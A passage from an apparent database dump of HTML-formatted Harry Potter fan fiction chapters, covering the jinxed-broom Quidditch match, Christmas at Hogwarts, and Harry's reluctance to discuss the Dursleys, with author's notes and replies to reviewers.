she\ndidn&#8217;t realize what was going on at first, not having any idea of how Quidditch\nplayers normally moved. Fortunately Ron did know Quidditch and he saw that\nsomething was wrong right away.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWhat on Gaia does Harry think he&#8217;s doing?&#8217; Ron wondered out loud. &#8216; If I didn&#8217;t\nknow better I&#8217;d think he&#8217;s lost control of his broom.&#8217;</p>\n\n<p class="MsoNormal">Hagrid and Hermione both watched Harry more\nintently when they heard Ron&#8217;s words and soon all three of them were shouting\nfor someone to call a time out as it became obvious that Harry had indeed lost\ncontrol and soon would lose his grip.</p>\n\n<p class="MsoNormal">No one heard them over the noise of all the\nfans and Lee&#8217;s continued commentary.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nSlytherin in possession &#8211; Flint with the Quaffle &#8211; passes Spinnet &#8211; passes Bell\n&#8211; hit hard in the face by a Bludger, hope it broke his nose &#8211; only joking,\nProfessor &#8211; Slytherin score &#8211; oh no&#8230; &#8216;</p>\n\n<p class="MsoNormal">Suddenly people started noticing Harry&#8217;s\nerratic motions. His broom began to spin, rolling Harry over and over on it.\nThen the whole crowd gasped, and several girls (Hermione included) shrieked.\nHarry&#8217;s broom had given a sudden massive lurch and almost succeeded in tossing\nHarry. He was now holding on with only one hand and the broom continued to jerk\nand twitch making it impossible for him to get his other hand back on.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nCould something have happened to it when Flint blocked him?&#8217; Seamus asked\nworriedly.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nCan&#8217;t have,&#8217; Hagrid said, his voice shaking. &#8216; Can&#8217;t nothing interfere with a\nbroomstick except powerful Dark magic &#8211; no kid could do that to a Nimbus.&#8217;</p>\n\n<p class="MsoNormal">Hermione, who had been biting the corner of\nher bottom lip and staring at Harry, as if transfixed, whirled around upon\nhearing Hagrid&#8217;s words and grabbed his binoculars. Instead of looking back at\nHarry though, she started scanning the rest of the stands.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWhat are you do &#8211; &#8216; Ron started, then cut off as her realized she was looking\nat the section of the stands where most of the staff were and realized what she\nsuspected.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nThere!&#8217; she cried. &#8216; Look! Snape!&#8217; she thrust the binoculars at Ron.</p>\n\n<p class="MsoNormal">Through the binoculars Ron spotted Snape in\nthe stands opposite from them. He was staring at Harry and muttering non-stop\nunder his breath.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nHe&#8217;s doing something to Harry&#8217;s broom, isn&#8217;t he?!&#8217;&nbsp; Ron exclaimed turning back to Hermione, only to find that she was\ngone.</p>\n\n<p class="MsoNormal">Quickly bringing the binoculars back up he\nspotted her in the other stands, making her way towards Snape. He turned the\nbinoculars on Harry, whose broom was shaking so hard that Harry should have\nalready fallen, but he still held on, adrenaline giving him extra strength.</p>\n\n<p class="MsoNormal">The whole crowd was on its feet now,\nwatching anxiously as Fred and George tried to pull Harry on to one of their\nbrooms, but each time they got too close the broom would give another jerk and\nfly up higher. The twins settled for circling underneath him in the hopes of\ncatching him when he fell. There was no doubt in anyone&#8217;s mind that he would\nfall, only a question of when.</p>\n\n<p class="MsoNormal">Marcus Flint grabbed the Quaffle and scored\nseveral times without anyone noticing. Or if they did notice they certainly\ndidn&#8217;t care.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nCome on, Hermione, come on!&#8217; Ron muttered desperately.</p>\n\n<p class="MsoNormal">Hermione hurried along the row behind Snape\nuntil she was at his back, not even apologizing to Professor Quirrell as she\nknocked him into the front row. Upon reaching Snape she crouched down behind\nhim and lit the hem of his robe with a jet of bright blue flames.</p>\n\n<p class="MsoNormal">At took Snape a half a minute to realize he\nwas on fire and Hermione scooped up the flames as soon as she heard him yelp,\nputting them out as she did so, and sped away before Snape could look around to\nsee her.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nYesss!&#8217; Ron hissed as he saw Harry&#8217;s broom steady itself and Harry climbed back\nup.</p>\n\n<p class="MsoNormal">As soon as he had control again Harry sped\ntowards the ground as fast as he could with only one hand on his broom. The\nother hand was covering his mouth, as if he was going to be sick.</p>\n\n<p class="MsoNormal">As soon as he had his feet back on the\nground he doubled over and spasmed, as if he really was sick, and coughed up &#8211;\nthe snitch!</p>\n\n<p class="MsoNormal">He took a deep breath before straightening\nup and calmly raising his hand in the air, the snitch still beating its wing in\nhis hand.</p>\n\n<p class="MsoNormal">The crowd went wild, some laughing, some\ncheering, and a few (mostly Slytherins) booed.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nHe didn&#8217;t catch it!&#8217; Flint was still hollering at Madam Hooch, twenty minutes\nlater. &#8216; He nearly swallowed it!&#8217;</p>\n\n<p class="MsoNormal">But Madam Hooch was firm, only giving in a\nlittle by letting the goals Flint had made, while everyone was distracted,\ncount because no one could be sure if Harry had &#8220;caught&#8221; the snitch before or\nafter they were made.</p>\n\n<p class="MsoNormal">In the end the score had been one hundred\nand eighty to fifty in Gryffindor&#8217;s favour.</p>\n\n<p class="MsoNormal">The entire Gryffindor team was still on the\npitch cheering and hugging each other half an hour after Harry had ended the\ngame &#8211; or rather most of the team was. Harry was off with Ron and Hermione in\nHagrid&#8217;s hut, nursing a strong cup of tea.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nIt was Snape.&#8217; Ron was telling Harry. &#8216; He was jinxing your broom or\nsomething.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nRubish.&#8217; Hagrid said. &#8216; What would Snape want ter do that for?&#8217;</p>\n\n<p class="MsoNormal">The trio looked at each other, debating on\nwhat to tell Hagrid, until Harry decided to go with the truth.</p>\n\n<p class="MsoNormal">&nbsp;&#8216; I\nthink he saw me when he was in Filch&#8217;s office.&#8217; He explained. &#8216; We already\nsuspected that he had tried to get past Fluffy, and what I saw and heard\nconfirmed it.&#8217;</p>\n\n<p class="MsoNormal">Hagrid&#8217;s eyes bulged.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nHow do yeh know about Fluffy?!&#8217; he asked, stunned.</p>\n\n<p class="MsoNormal">&nbsp;&#8216; I\ndon&#8217;t think we&#8217;re talking about the same animal here, Hagrid.&#8217; Hermione said. &#8216;\nWe&#8217;re talking about a huge dog with three heads and-&#8216; Hermione cut off as\nHagrid nodded. &#8216; You mean that &#8211; that thing&#8217;s name actually <i>is</i> Fluffy?!&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nYep!&#8217; Hagrid said with great pride. &#8216; He&#8217;s mine. I lent him ter Dumbledore to\nguard-&#8216;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nYes? To guard what?&#8217; Ron asked excitedly.</p>\n\n<p class="MsoNormal">Hagrid only shook his head, obviously\nafraid to open his mouth in case he let something else slip.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nOh, come on, Hagrid.&#8217; Hermione pleaded. &#8216; You might as well tell us. You&#8217;ll\nonly be saving us the trouble of figuring it out on our own.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nNow you look here, you three.&#8217; Hagrid said, shaking a giant finger at them and\nlooking fairly disgruntled. &#8216; Snape&#8217;s not trying to steal anything, especially\nnot from Dumbledore. What&#8217;s being held in that third corridor is none of your\nbusiness. It&#8217;s a matter between Dumbledore and Flamel, and that&#8217;s the way it&#8217;ll\nstay, right?&#8217; he didn&#8217;t even notice what he had let slip until he saw their\neyes widen with the grins on their faces.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nSo there&#8217;s someone named Flamel involved in this?&#8217;</p>\n\n<p class="MsoNormal">After that Hagrid looked furious with\nhimself and refused to talk about anything to do with it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">@@@@@@@@@@@@@@@@@@@@@@@</p>\n\n<p class="MsoNormal">AN- I really didn&#8217;t like that chapter&#8230; I\nhope all of you did though!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Steven: If you mean more talent that he\nwill hide, then yes, though not necessarily because he&#8217;s trying to&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">VipyGirl831: Lol! I&#8217;m not really a very\nfast writer. It&#8217;s just that I&#8217;ve already written up to chapter 21. It&#8217;s just a\nmatter of fixing the formatting of each chapter so I can upload it. Chapter 21\nwill be posted just minutes after this goes up! Unfortunately I&#8217;ve been stuck\non chapter 22 for a while so you may have to wait a bit&#8230; Anywho, I really enjoy\ngetting your reviews, they always brighten my day. I do plan on doing all of\nthe books, but it will obviously take me quite a while. On top of that there is\nanother story that splits off from this one that has been bugging me so much\nthat I&#8217;ve decided I have to write it as well so things may go slowly, but rest\nassured that I won&#8217;t stop writing until there&#8217;s nothing left to write about!\nAnywho, I think that&#8217;s enough rambling. PLEASE keep reading my story! And if\nyou have any questions or suggestions don&#8217;t hesitate to review or e-mail me (TooMuchToMatter@ICQmail.com).</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dominus De Angoscia: I <i>absolutely</i>\nagree! Harry may not be the stereotypical hero you see on those silly romance\nnovels, but he&#8217;s certainly not just an average wizard with an interesting past.\nAnywho, I&#8217;m happy to hear that you approve of the changes I&#8217;ve made. Do you\nhave any suggestions for other changes you think I should make? By the way,\nwhat does &#8220;Dominus De Angoscia&#8221; mean? I&#8217;m assuming it&#8217;s latin, but I know very\nlittle latin and don&#8217;t even have a latin dictionary. I&#8217;d really like to know\nwhat it means if you don&#8217;t mind reviewing to tell me, or sending me an e-mail (TooMuchToMatter@ICQmail.com).</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Nappa: :-P (Heh heh heh!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That&#8217;s it for now!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 21, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- Not much to say. This is being posted\njust minutes after chapter 20 was so nothing new has happened&#8230;</p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">@@@@@@@@@@@@@@@@@@@@@@@@@@@@</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">Things returned to what passed for\nnormal at Hogwarts after the Gryffindor-Slytherin Quidditch match, but\nChristmas was quickly approaching and one could almost feel it in the air.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">One morning at the\nbeginning of December, the whole of Hogwarts awoke to find the world outside\nthe castle walls had turned a sparkling white. The entire Hogwarts staff (even\na rather reluctant Snape) agreed to leave off classes for the day since it was Friday\nand combined with the fact that it was the first snowfall they realized that\nthe students would be hard pressed to pay any attention in class.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The general\nfeeling of happiness and good cheer was even more exhilarating for Harry who\nhad never really had a Christmas that was in anyway different from any other\nday with the Dursleys, or rather he&#8217;d had one Christmas with his parents, but\nthat could hardly be counted since he didn&#8217;t remember it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The Weasley twins\nenchanted a pair of snowballs to follow Professor Quirrell around the grounds,\nbouncing off the back of his turban and were punished for it. Professor\nFlitwick began teaching them different decorating charms; everyone was getting\ninto the holiday spirit. Even Malfoy&#8217;s sneer seemed a little more like a smile\nthan a sneer.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Of course Malfoy&#8217;s\nway of showing his good cheer was to try and make as many people as possible as\nmiserable as he could manage. After the disappointment of Gryffindor&#8217;s victory\nhe&#8217;d tried to get people laughing at Harry by suggesting that he&#8217;d be replaced\nwith a wide mouthed tree frog in the next match; however, it quickly became\napparent that everyone one was too impressed that Harry had stayed on his broom\nat all to laugh at such a weak joke. When Malfoy saw that insulting Harry&#8217;s\nQuidditch skills was pointless he resorted to making fun of Harry&#8217;s lack of a\ntrue family.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I really do feel sorry,&#8217; he said during one\nparticularly freezing potions lesson, &#8216; for all those who have to stay at\nHogwarts over the holidays, because they&#8217;re not wanted at home.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He smirked and\nlooked pointedly in Harry&#8217;s direction, but Harry simply raised an eyebrow at\nhim and shook his head in a disappointed fashion. Surprisingly this served to\nwipe Malfoy&#8217;s smirk off his face even faster than anything Harry could have\nsaid would. Also Snape couldn&#8217;t very well yell at Harry for not retaliating.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Of course Harry\nwas fairly sure that the Dursleys wouldn&#8217;t want him to come home for the\nholidays, but he didn&#8217;t want to leave Hogwarts anyway so when McGonagall came\naround, making a list of all the students who planned to stay at Hogwarts for\nthe holidays he&#8217;d signed up immediately.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">On their way from\nthe potions class that day Ron, Neville, Hermione and Harry had found the way\nblocked by a giant fir tree. They could tell from the huffing sounds that\nHagrid was carrying it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Hey there, Hagrid.&#8217; Ron said, walking up to\nthe tree. &#8216; Need any help there?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron and Hagrid had\ntaken a great liking to each other, as they both seemed to really like animals\nin general.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Nah, I got it, but thanks, Ron.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Would you mind getting out of the way?&#8217; a\ncool voiced asked, but managed to make it sound more like an order than a\nrequest.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Malfoy!&#8217; Ron spat.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Weasley!&#8217; Draco mocked in return. &#8216; Hoping\nto be gamekeeper yourself someday? I suppose that Hagrid&#8217;s hut must seem like a\npalace compared to-&#8216;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He didn&#8217;t have a\nchance to finish before Ron launched himself at him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Unfortunately Ron\ncouldn&#8217;t have timed it worse as Professor Snape came around the corner at just\nthat moment and saw Ron tackle Malfoy to the floor.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; WEASLEY!&#8217; he snapped, and Ron&#8217;s head\nsnapped up.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Seeing who it was\nRon jumped up off of Malfoy, albeit somewhat reluctantly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Twenty points from Gryffindor, Weasley; no\nfighting in the corridors. Now move along, the lot of you.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Malfoy sneered and\nhe, Crabbe and Goyle pushed roughly past the tree- or at least they tried to.\nAs he was going by Hagrid suddenly &#8220;lost his grip&#8221; and he dropped the tree, the\nbranches smacking Crabbe and Goyle in the face and the trunk landing heavily on\nMalfoy&#8217;s toes.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Malfoy let out a\nrather girlish yelp, causing Harry to smirk and Ron to start laughing out loud,\nand neither made an attempt to hide their mirth.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Whoops. Sorry &#8216;bout that Malfoy.&#8217; Hagrid\nsaid, sounding quite sincere, but Harry caught him hiding his smile behind the\nbranches of the tree as he lifted it easily off the Slytherins.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Snape looked\nfurious and his eyebrow started to twitch, but after a moment he spun on his\nheel and continued on in the direction he was first headed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Once the four were\nsure he was gone Hagrid chuckled in a satisfied manner and Hermione let out a\ngiggle.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; That was bloody brilliant, Hagrid!&#8217; Ron\nsaid in between fits of laughter (he still hadn&#8217;t finished laughing).</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hagrid attempted\nto look innocent and confused, but his eyes gave him away to Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I don&#8217;t have any idea what you could be\ntalking about, Ron.&#8217; He said. &#8216; It&#8217;s not like I dropped the tree on purpose.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry smirked\nagain at this and the other three had another round of chuckles.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Why don&#8217;t you three come on down to the\nGreat Hall with me?&#8217; Hagrid suggested. &#8216; This is the last of the trees and\nFlitwick and McGonagall have almost finished with the other decorations. Looks\na treat, it does.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The trio agreed\nand followed Hagrid to the great hall where they were greeted by a fantastic\nsight. Even Ron, who had grown up around magical decorations was stunned and\nthe three friends stood in the doorway, jaws on the floor, for several minutes,\njust taking in the transformed great hall.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hagrid chuckled at\nthe reaction and moved into the hall setting up the tree he had been carrying\nin the far corner of the hall, the only place that lacked any decorations yet.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">By the time he had\nit upright, Ron and Hermione had come to their senses and were smiling at\nHarry, who was still staring around at the decorations in awe.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Finally Hermione\nnudged Harry with her elbow.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; You&#8217;d think you&#8217;d never seen a Christmas\ntree before, Harry.&#8217; She teased him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Instead of smiling\nas Hermione thought he would, Harry just sighed and looked down at his feet.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Wait a minute.&#8217; Said Ron with a frown. &#8216;\nYou have seen a Christmas tree before &#8211; haven&#8217;t you, Harry?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Well&#8230; no, but it&#8217;s no big deal. Right?&#8217;\nHarry said softly as he looked up and smiled, but if Ron or Hermione could see\nhis eyes behind his glasses they&#8217;d see that the smile didn&#8217;t touch his eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Both Ron and\nHermione wore concerned looks now that said quite clearly that it was indeed a\nbig deal.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; How could you have never seen a Christmas\ntree before, Harry? I mean, your aunt and uncle do celebrate Christmas, don&#8217;t\nthey?&#8217; Hermione asked her voice a little higher pitched than normal.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry let his\nsmile drop in an instant.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; If you don&#8217;t mind I&#8217;d rather not talk about\nmy &#8211; relatives in public.&#8217; Harry said casually, but his clenched jaws made it\nclear that he wanted the conversation to stop right there.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Sure, but we&#8217;re talking about this later.&#8217;\nSaid Ron firmly, but he let the subject go and the trio went over to chat with\nHagrid.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Neither Ron nor\nHermione knew much about Harry&#8217;s life before Hogwarts other than what was in\nhistory books; that he lived with his aunt, uncle and cousin and that they were\nhis only living relatives and they were muggles. Up until that day they hadn&#8217;t\nreally noticed the fact or they had let it go for some other time, but now both\nRon and Hermione were both intrigued and suspicious of Harry&#8217;s quick end to the\nsubject.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">A few months ago\nHarry probably would have believed that it wasn&#8217;t a big deal to have never seen\na Christmas tree before, but his time at Hogwarts was teaching him more than\njust magic. He was beginning to learn how most children were treated and how\nall children should be treated; and that was certainly not how the Dursleys\ntreated him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">For all of his\nlife Harry had learned from the Dursleys&#8217; example that special people (Dudley)\nwere treated one way, and &#8220;freaks&#8221; (Harry) were treated another way. It was all\nHarry had ever known and so he had believed that it was natural and normal. It\ntook a few months at Hogwarts, but when Harry had realized that the Dursleys\nhad been treating him quite horribly all of his life he had made a vow never to\ntreat anyone the same way himself. He would never let himself judge people and\ntreat them according to what they were, only according to who they were. He\ncouldn&#8217;t change the Dursleys and he still needed them for a place to stay in\nthe summer, but he swore to himself that he would never become like them.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The rest of the\nday was spent finishing homework and searching for some mention of Nicolas\nFlamel in the library. They had tried looking in all of the recent history books\nsuch as &#8220;Notable Magical Names of Our Time&#8221; and &#8220;Great Wizards of the Twentieth\nCentury&#8221;, but no mention was made of the elusive Nicolas. Ron and Hermione did\nhave a good time laughing at an artist&#8217;s representation of Harry&#8217;s defeat of\nVoldemort in &#8220;A Study of Recent Developments in Wizardry&#8221; though.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry tried to set\nthe book on fire, but Ron grabbed it and ran, as soon as Harry pulled out his\nwand, laughing all the while. Hermione just about had a fit as she cracked up\nover Ron and Harry&#8217;s antics. They were almost kicked out of the library for,\nbut the librarian liked Hermione and there weren&#8217;t many students in the library\nso close to the holidays in any case so they were allowed to stay.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The days before\nthe beginning of the holidays were the best days of Harry&#8217;s life. He was able,\nfor the most part, to forget that one of the professors might be trying to\nsteal something from Hogwarts and that at the end of the year he would have to\nreturn to the Dursleys, and instead he focussed on the things that really\nmattered. Things like thinking up ways to humiliate Malfoy with Ron, and\nreading books with Hermione and just generally enjoying actually having friends\nand people around who cared about him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He also forgot\nthat Ron and Hermione had demanded that he sit down with them at some point to\ntell them about his life before Hogwarts. He had said that he couldn&#8217;t because\nit would simply be too weird to have an entire conversation just about him, but\nRon and Hermione had countered by saying that it was even weirder for them to\nhave their best friend know just about everything about their lives and not\nknow anything at all about his. In the end Harry hadn&#8217;t had any choice in the\nmatter, but he had managed to get them to put it off until later in the hopes\nthat they would forget about it, as he really would have been quite embarrassed\nto talk about himself for so long (regardless of whether he lived with the\nDursleys or not).</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Unfortunately for\nHarry, neither Ron nor Hermione had forgotten that Harry had promised to\nfinally tell them about what he did before he met them and they were only\nwaiting for a time when he would have no more excuses to put it off until\nlater.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">That time came\nwith the start of the winter break. Aside from Ron, Hermione and Harry no other\nGryffindors were staying at Hogwarts for the holidays and only a few more\nstudents from the other houses were staying so the trio would have the entire\nGryffindor tower to themselves and since it was the holidays Harry could claim\nto have a prior appointment. He would have no choice but to sit down and tell\nhis friends about his life at the Dursleys.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Alright, Harry, time to get up!&#8217; Ron\nshouted in Harry&#8217;s as he pulled his friend from bed by his ankles.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The other students\nhad left on the Hogwarts express the day before and Harry had planned to sleep\nin late to celebrate the first day of the holidays. Ron and Hermione seemed to\nhave other plans though. It was actually quite a shock for Harry. He had\nthought that he would be the one pulling Ron from bed as Ron was usually the\nlast one to get up. It had almost given Harry a heart attack when the alarm\ncharm he always put on his bed had gone off and his eyes had snapped open to see\na blur of red hair and freckles in front of his face.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Have you gone bloody mad?!&#8217; Harry groaned\ninto his pillow trying to kick Ron&#8217;s hands off his ankles. &#8216; What are you doing\ngetting up at this time on a holiday?!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">If there was one\nthing that Harry did know about holidays, it was that people didn&#8217;t get up\nuntil quite late in the day on them. The Dursleys had never gotten up before\neleven o&#8217;clock on a holiday and judging by the sun in the window it was around\neight o&#8217;clock in the morning.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron smirked and\nfinally pulled Harry from his covers and onto the floor. It hadn&#8217;t been easy,\nbut Hermione had convinced Ron that they needed to make Harry talk to them when\nhe least suspected it because otherwise he would probably find some way to\neither avoid telling them what they wanted to know (Harry had an odd ability to\ntalk for hours at a time, yet when you thought back on it you realized that he\nactually hadn&#8217;t told you much at all), or he would find some way to avoid\ntalking to them about himself at all.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Come on, Harry. Hermione&#8217;s waiting in the\ncommon room; it&#8217;s time we had that little talk.&#8217; Ron teased.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry froze where\nhe was then shouted something into his pillow, which he&#8217;d dragged onto the\nfloor with him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Oh, shablahmmggh!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Language, Harry! Language!&#8217; Ron said in a\nmockingly shocked voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@</p>\n\n<p class="MsoNormal">AN- Hey everyone! Did that suck? I think it\ndid, but it&#8217;ll get better (I <i>hope</i>). It was also too short.</p>\n\n<p class="MsoNormal">Anywho, when Harry finally tells Ron and\nHermione about his life with the Dursleys we too will learn more about Harry.\nHarry will get some of the sympathy he deserves, but he&#8217;s not going to like it,\nand he&#8217;ll also talk about some of the things that he did as a child that proved\nhe was a wizard.</p>\n\n<p class="MsoNormal">One question that will help me writing the\nnext part: How powerful (or how weak) do you wonderful people want Harry to be?</p>\n\n<p class="MsoNormal">That&#8217;s all for now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 22, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- Here it is people! The next chapter! Betcha you&#8217;re excited!</p>\n\n<p class="MsoNormal">Okay I&#8217;m done being weird&#8230;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">@@@@@@@@@@@@@@@@</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was a very reluctant and only half-awake\nHarry that made his way down to the common room that morning. It wasn&#8217;t just\nhis sleepiness that made him reluctant to leave his bed that morning either.\nToday was the day that Ron and Hermione had decided Harry was to tell them all\nabout his life before they had met him giving him no say in the matter what so\never.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It&#8217;s not that he didn&#8217;t want to talk to his\nfriends, just that he didn&#8217;t want to talk to them about himself. Everywhere he\nwent in the wizarding world he was treated like a celebrity. People he&#8217;d never\neven met before had swarmed him in a pub and seemed to know more about his past\nthan Harry did. When he had finally gotten to Hogwarts people had still treated\nhim as if he was something&#8230; <b>more</b>.\nHarry had to admit, though begrudgingly, that he had somehow done something\nthat no other person had, he had survived &#8220;<b>Avada Kedavra</b>&#8221;, the so-called\n&#8220;Killing Curse.&#8221; Everyone thought that there was something special about him\nthat had allowed him to survive it, but what if there wasn&#8217;t? What if it had\nsimply been some sort of accident, or an odd reflection of magic due to the\nalignment of the planets, or something equally esoteric? According to Hagrid\nhis parents had been powerful wizards in their own right and it had been\nsuggested that it was perhaps their magic that had saved him. Harry honestly\nbelieved himself to be just a normal child, yet still everyone looked up to him\nas the hero, a figurehead for the fight against Dark Wizards. As if, because he\nsurvived the killing curse, he must be special in some mysterious way. Harry\ndidn&#8217;t think so. He couldn&#8217;t even remember what had happened, but he had\nobviously been too young at the time to do anything like defeat the most\npowerful dark wizard ever <b>on\npurpose</b>.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Most people would have liked the attention,\nbut then most people hadn&#8217;t grown up the way Harry had. All his life (at least\nall that he could remember) he&#8217;d never had anything of his own, only\nhand-me-downs from his enormous cousin for clothes and only as much food as he\nrequired to live. Only his thoughts and feelings had ever been truly his and so\nhe was loath to let anyone see either and after years of living with the\nDursleys his feelings had become more and more muted, a sort of unconscious\ndefence against their cruelty leaving him with only his thoughts.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">On the other hand though, Ron and Hermione\nwere certainly friends and, although he didn&#8217;t know it yet, Harry was beginning\nto learn that <b>some</b>\npeople could be trusted and Ron and Hermione were two of those people.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">So it was with mixed feelings that he sat\ndown in front of his two friends in the empty common room to begin his &#8216;interrogation&#8217;.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry sat down on the couch that faced the\nfireplace while Hermione used a levitation charm to move an 